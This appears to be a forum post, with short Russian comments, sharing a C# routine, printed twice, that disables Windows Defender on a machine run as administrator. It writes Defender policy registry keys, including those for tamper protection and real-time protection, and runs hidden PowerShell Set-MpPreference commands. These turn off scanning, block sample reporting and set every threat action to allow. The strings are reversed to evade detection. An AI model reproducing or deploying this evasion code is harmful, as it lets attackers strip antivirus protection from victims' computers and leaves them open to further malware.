using (RegistryKey key = Registry.LocalMachine.OpenSubKey("")) { key.SetValue("", 1); key.Close(); } C# using (RegistryKey key = Registry.LocalMachine.OpenSubKey("")) { key.SetValue("", 1); key.Close(); } По дефу инфу в инете загугли
функция Run -Defender запускать от админа ! будет говорить что там отключен и тп короче его просто так уже не включаешь static class StringExtensions { public static string Reverse(this string input) { return new string(input.ToCharArray().Reverse().ToArray()); } } public void Run(){ RegistryEdit(@"noitcetorP emiT-laeR\rednefeD swodniW\tfosorciM\seiciloP\ERAWTFOS".Reverse(), "gnirotinoMroivaheBelbasiD".Reverse(), "1"); RegistryEdit(@"noitcetorP emiT-laeR\rednefeD swodniW\tfosorciM\seiciloP\ERAWTFOS".Reverse(), "noitcetorPsseccAnOelbasiD".Reverse(), "1"); RegistryEdit(@"noitcetorP emiT-laeR\rednefeD swodniW\tfosorciM\seiciloP\ERAWTFOS".Reverse(), "elbanEemitlaeRnOnacSelbasiD".Reverse(), "1"); RegistryEdit(@"serutaeF\rednefeD swodniW\tfosorciM\ERAWTFOS".Reverse(), "noitcetorPrepmaT".Reverse(), "0"); //Windows 10 1903 Redstone 6 RegistryEdit(@"rednefeD swodniW\tfosorciM\seiciloP\ERAWTFOS".Reverse(), "erawypSitnAelbasiD".Reverse(), "1"); CheckDefender(); } private void CheckDefender() { Process proc = new Process { StartInfo = new ProcessStartInfo { FileName = "llehsrewop".Reverse(), Arguments = "Get-MpPreference -verbose", UseShellExecute = false, RedirectStandardOutput = true, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true } }; proc.Start(); while (!proc.StandardOutput.EndOfStream) { string line = proc.StandardOutput.ReadLine(); if (line.Contains(@"DisableRealtimeMonitoring") && line.Contains("False")) RunPS("eurt$ gnirotinoMemitlaeRelbasiD- ecnereferPpM-teS".Reverse()); //real-time protection else if (line.Contains(@"DisableBehaviorMonitoring") && line.Contains("False")) RunPS("eurt$ gnirotinoMroivaheBelbasiD- ecnereferPpM-teS".Reverse()); //behavior monitoring else if (line.Contains(@"DisableBlockAtFirstSeen") && line.Contains("False")) RunPS("eurt$ neeStsriFtAkcolBelbasiD- ecnereferPpM-teS".Reverse()); else if (line.Contains(@"DisableIOAVProtection") && line.Contains("False")) RunPS("eurt$ noitcetorPVAOIelbasiD- ecnereferPpM-teS".Reverse()); //scans all downloaded files and attachments else if (line.Contains(@"DisablePrivacyMode") && line.Contains("False")) RunPS("eurt$ edoMycavirPelbasiD- ecnereferPpM-teS".Reverse()); //displaying threat history else if (line.Contains(@"SignatureDisableUpdateOnStartupWithoutEngine") && line.Contains("False")) RunPS("eurt$ enignEtuohtiWputratSnOetadpUelbasiDerutangiS- ecnereferPpM-teS".Reverse()); //definition updates on startup else if (line.Contains(@"DisableArchiveScanning") && line.Contains("False")) RunPS("eurt$ gninnacSevihcrAelbasiD- ecnereferPpM-teS".Reverse()); //scan archive files, such as .zip and .cab files else if (line.Contains(@"DisableIntrusionPreventionSystem") && line.Contains("False")) RunPS("eurt$ metsySnoitneverPnoisurtnIelbasiD- ecnereferPpM-teS".Reverse()); // network protection else if (line.Contains(@"DisableScriptScanning") && line.Contains("False")) RunPS("eurt$ gninnacStpircSelbasiD- ecnereferPpM-teS".Reverse()); //scanning of scripts during scans else if (line.Contains(@"SubmitSamplesConsent") && !line.Contains("2")) RunPS("2 tnesnoCselpmaStimbuS- ecnereferPpM-teS".Reverse()); //MAPSReporting else if (line.Contains(@"MAPSReporting") && !line.Contains("0")) RunPS("0 gnitropeRSPAM- ecnereferPpM-teS".Reverse()); //MAPSReporting else if (line.Contains(@"HighThreatDefaultAction") && !line.Contains("6")) RunPS("ecroF- 6 noitcAtluafeDtaerhThgiH- ecnereferPpM-teS".Reverse()); // high level threat // Allow else if (line.Contains(@"ModerateThreatDefaultAction") && !line.Contains("6")) RunPS("6 noitcAtluafeDtaerhTetaredoM- ecnereferPpM-teS".Reverse()); // moderate level threat else if (line.Contains(@"LowThreatDefaultAction") && !line.Contains("6")) RunPS("6 noitcAtluafeDtaerhTwoL- ecnereferPpM-teS".Reverse()); // low level threat else if (line.Contains(@"SevereThreatDefaultAction") && !line.Contains("6")) RunPS("6 noitcAtluafeDtaerhTereveS- ecnereferPpM-teS".Reverse()); // severe level threat } } private void RunPS(string args) { Process proc = new Process { StartInfo = new ProcessStartInfo { FileName = "llehsrewop".Reverse(), Arguments = args, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true } }; proc.Start(); } private void RegistryEdit(string regPath, string name, string value) { try { using (RegistryKey key = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree)) { if (key == null) { Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord); return; } if (key.GetValue(name) != (object)value) key.SetValue(name, value, RegistryValueKind.DWord); } } catch { } } C# static class StringExtensions { public static string Reverse(this string input) { return new string(input.ToCharArray().Reverse().ToArray()); } } public void Run(){ RegistryEdit(@"noitcetorP emiT-laeR\rednefeD swodniW\tfosorciM\seiciloP\ERAWTFOS".Reverse(), "gnirotinoMroivaheBelbasiD".Reverse(), "1"); RegistryEdit(@"noitcetorP emiT-laeR\rednefeD swodniW\tfosorciM\seiciloP\ERAWTFOS".Reverse(), "noitcetorPsseccAnOelbasiD".Reverse(), "1"); RegistryEdit(@"noitcetorP emiT-laeR\rednefeD swodniW\tfosorciM\seiciloP\ERAWTFOS".Reverse(), "elbanEemitlaeRnOnacSelbasiD".Reverse(), "1"); RegistryEdit(@"serutaeF\rednefeD swodniW\tfosorciM\ERAWTFOS".Reverse(), "noitcetorPrepmaT".Reverse(), "0"); //Windows 10 1903 Redstone 6 RegistryEdit(@"rednefeD swodniW\tfosorciM\seiciloP\ERAWTFOS".Reverse(), "erawypSitnAelbasiD".Reverse(), "1"); CheckDefender(); } private void CheckDefender() { Process proc = new Process { StartInfo = new ProcessStartInfo { FileName = "llehsrewop".Reverse(), Arguments = "Get-MpPreference -verbose", UseShellExecute = false, RedirectStandardOutput = true, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true } }; proc.Start(); while (!proc.StandardOutput.EndOfStream) { string line = proc.StandardOutput.ReadLine(); if (line.Contains(@"DisableRealtimeMonitoring") && line.Contains("False")) RunPS("eurt$ gnirotinoMemitlaeRelbasiD- ecnereferPpM-teS".Reverse()); //real-time protection else if (line.Contains(@"DisableBehaviorMonitoring") && line.Contains("False")) RunPS("eurt$ gnirotinoMroivaheBelbasiD- ecnereferPpM-teS".Reverse()); //behavior monitoring else if (line.Contains(@"DisableBlockAtFirstSeen") && line.Contains("False")) RunPS("eurt$ neeStsriFtAkcolBelbasiD- ecnereferPpM-teS".Reverse()); else if (line.Contains(@"DisableIOAVProtection") && line.Contains("False")) RunPS("eurt$ noitcetorPVAOIelbasiD- ecnereferPpM-teS".Reverse()); //scans all downloaded files and attachments else if (line.Contains(@"DisablePrivacyMode") && line.Contains("False")) RunPS("eurt$ edoMycavirPelbasiD- ecnereferPpM-teS".Reverse()); //displaying threat history else if (line.Contains(@"SignatureDisableUpdateOnStartupWithoutEngine") && line.Contains("False")) RunPS("eurt$ enignEtuohtiWputratSnOetadpUelbasiDerutangiS- ecnereferPpM-teS".Reverse()); //definition updates on startup else if (line.Contains(@"DisableArchiveScanning") && line.Contains("False")) RunPS("eurt$ gninnacSevihcrAelbasiD- ecnereferPpM-teS".Reverse()); //scan archive files, such as .zip and .cab files else if (line.Contains(@"DisableIntrusionPreventionSystem") && line.Contains("False")) RunPS("eurt$ metsySnoitneverPnoisurtnIelbasiD- ecnereferPpM-teS".Reverse()); // network protection else if (line.Contains(@"DisableScriptScanning") && line.Contains("False")) RunPS("eurt$ gninnacStpircSelbasiD- ecnereferPpM-teS".Reverse()); //scanning of scripts during scans else if (line.Contains(@"SubmitSamplesConsent") && !line.Contains("2")) RunPS("2 tnesnoCselpmaStimbuS- ecnereferPpM-teS".Reverse()); //MAPSReporting else if (line.Contains(@"MAPSReporting") && !line.Contains("0")) RunPS("0 gnitropeRSPAM- ecnereferPpM-teS".Reverse()); //MAPSReporting else if (line.Contains(@"HighThreatDefaultAction") && !line.Contains("6")) RunPS("ecroF- 6 noitcAtluafeDtaerhThgiH- ecnereferPpM-teS".Reverse()); // high level threat // Allow else if (line.Contains(@"ModerateThreatDefaultAction") && !line.Contains("6")) RunPS("6 noitcAtluafeDtaerhTetaredoM- ecnereferPpM-teS".Reverse()); // moderate level threat else if (line.Contains(@"LowThreatDefaultAction") && !line.Contains("6")) RunPS("6 noitcAtluafeDtaerhTwoL- ecnereferPpM-teS".Reverse()); // low level threat else if (line.Contains(@"SevereThreatDefaultAction") && !line.Contains("6")) RunPS("6 noitcAtluafeDtaerhTereveS- ecnereferPpM-teS".Reverse()); // severe level threat } } private void RunPS(string args) { Process proc = new Process { StartInfo = new ProcessStartInfo { FileName = "llehsrewop".Reverse(), Arguments = args, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true } }; proc.Start(); } private void RegistryEdit(string regPath, string name, string value) { try { using (RegistryKey key = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree)) { if (key == null) { Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord); return; } if (key.GetValue(name) != (object)value) key.SetValue(name, value, RegistryValueKind.DWord); } } catch { } }